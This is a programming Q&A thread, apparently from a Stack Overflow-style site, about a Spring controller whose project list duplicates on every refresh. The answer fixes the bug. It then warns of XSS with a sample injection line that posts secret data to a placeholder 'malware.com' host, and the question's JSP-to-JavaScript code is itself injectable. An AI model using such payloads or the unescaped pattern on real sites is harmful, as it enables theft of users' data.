ArrayList repeating itself

1

I have an array that whenever I refresh my page, it doubles. I did some testing to see if it was not duplicating in JavaScript, but I did not find anything.

This is JavaScript:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script><script>listaProjetoArr="";
           listaProjeto = "";


           listaProjeto = "${usuarioBean.listaNomeProjeto}";

            listaProjeto = listaProjeto.replace("[", "");
            listaProjeto = listaProjeto.replace("]", "");
            var listaProjetoArr = listaProjeto.split(",");
            console.log(listaProjetoArr)



            $.each(listaProjetoArr, function(index, value) {


                $("#projeto").append("<option value='"+value+"'>"+value+"</option>");
            });
        </script>

And this is the controller method:

@RequestMapping(value = REDIRECT_PAGE_CADASTRO, method = RequestMethod.GET)
    public ModelAndView viewCadastro(Model model) {

        List<Projeto> listaCompletaProjeto = projetoService.findAll();

        for (Projeto listaProjetos : listaCompletaProjeto) {

            listaNomeProjeto.add(listaProjetos.getProjeto());

        }

        List<Perfil> listaCompletaPerfil = perfilService.findAll();

        for (Perfil listaPerfis : listaCompletaPerfil) {

            listaNomePerfil.add(listaPerfis.getPerfil().toString());
        }

        List<Jornada> listaCompletaJornada = jornadaService.findAll();

        for (Jornada listaJornadas : listaCompletaJornada) {

            listaNomeJornada.add(listaJornadas.getDsJornada().toString());
        }

        usuarioBean = new UsuarioBean(listaNomeProjeto, listaNomePerfil, listaNomeJornada);

        model.addAttribute("usuarioBean", usuarioBean);

        return new ModelAndView(REQUEST_MAPPING_PAGE_CADASTRO);
    }
    
asked by anonymous 07.02.2017 / 19:45

1 answer

3

I suppose your controller has a field like this:

private List<String> listaNomeProjeto;

And that it was initialized properly somewhere. When you call the viewCadastro(Model model) method to render your JSF page, it does this:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();

    for (Projeto listaProjetos : listaCompletaProjeto) {

        listaNomeProjeto.add(listaProjetos.getProjeto());

    }

In this code, you add all project names to the list. JSF will render the page and the list will be there.

When you press F5, the viewCadastro(Model model) method will be called again and you will add the elements in the list again , but without removing the previous elements that there were, and with this will end up doubling.

The solution is to do this:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();
    listaNomeProjeto = new ArrayList<>(listaCompletaProjeto.size());
    for (Projeto listaProjetos : listaCompletaProjeto) {
        listaNomeProjeto.add(listaProjetos.getProjeto());
    }

Or, you can use the Java 8 streams:

    List<Projeto> listaCompletaProjeto = projetoService.findAll();
    listaNomeProjeto = listaCompletaProjeto.stream().map(Projeto::getProjeto).collect(Collectors.toList());

Also, beware of XSS . If the name of any of the projects can be manipulated by some malicious user, you will have problems if a user creates a project with that name or something:

x]"; $.post('http://malware.com/upload', informacaoMuitoSecreta); //

Since this will make your JavaScript look like this:

listaProjeto = "[Projeto do Pedro,Projeto da Maria,x]"; $.post('http://malware.com/upload', informacaoMuitoSecreta); //,Projeto do Zé]";

And the result is that the malicious user could inject snippets of JavaScript to be run by other users and thus cause some damage or steal some information.

    
07.02.2017 / 20:12